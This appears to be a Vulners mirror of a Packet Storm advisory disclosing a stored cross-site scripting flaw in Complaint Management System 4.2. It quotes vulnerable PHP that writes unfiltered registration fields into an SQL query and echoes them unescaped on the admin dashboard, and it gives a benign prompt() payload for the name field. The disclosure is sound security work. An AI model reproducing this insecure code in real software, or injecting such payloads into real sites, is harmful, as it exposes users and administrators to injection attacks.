Lucene search
K

Complaint Management System 4.2 Cross Site Scripting

🗓️ 23 Apr 2020 00:00:00Reported by Besim AltinokType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 133 Views

Complaint Management System 4.2 Persistent Cross-Site Scripting vulnerabilit

Code
`# Exploit Title: Complaint Management System 4.2 - Persistent Cross-Site Scripting  
# Author: Besim ALTINOK  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/complaint-management-sytem/  
# Version: v4.2  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
  
------ Details:  
  
1- Vulnerable code is here: http://localhost/cms/users/registration.php  
2- Vulnerable code:  
  
Insert user registration information to the DB without filtering.  
  
if(isset($_POST['submit']))  
{  
$fullname=$_POST['fullname'];  
$email=$_POST['email'];  
$password=md5($_POST['password']);  
$contactno=$_POST['contactno'];  
$status=1;  
$query=mysqli_query($con,"insert into  
users(fullName,userEmail,password,contactNo,status)  
values('$fullname','$email','$password','$contactno','$status')");  
$msg="Registration successfull. Now You can login !";  
}  
?>  
  
3- In the admin dashboard:  
  
Get fullName from DB and print it without any filtering  
  
<tr>  
<td colspan="2"><b><?php echo $row['fullName'];?>'s profile</b></td>  
</tr>  
  
4- If we insert "fullName" as "script>prompt(2)</script>", we can perform  
this attack as "Stored XSS"  
  
5- Picture in the Attachemnt  
---------------------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation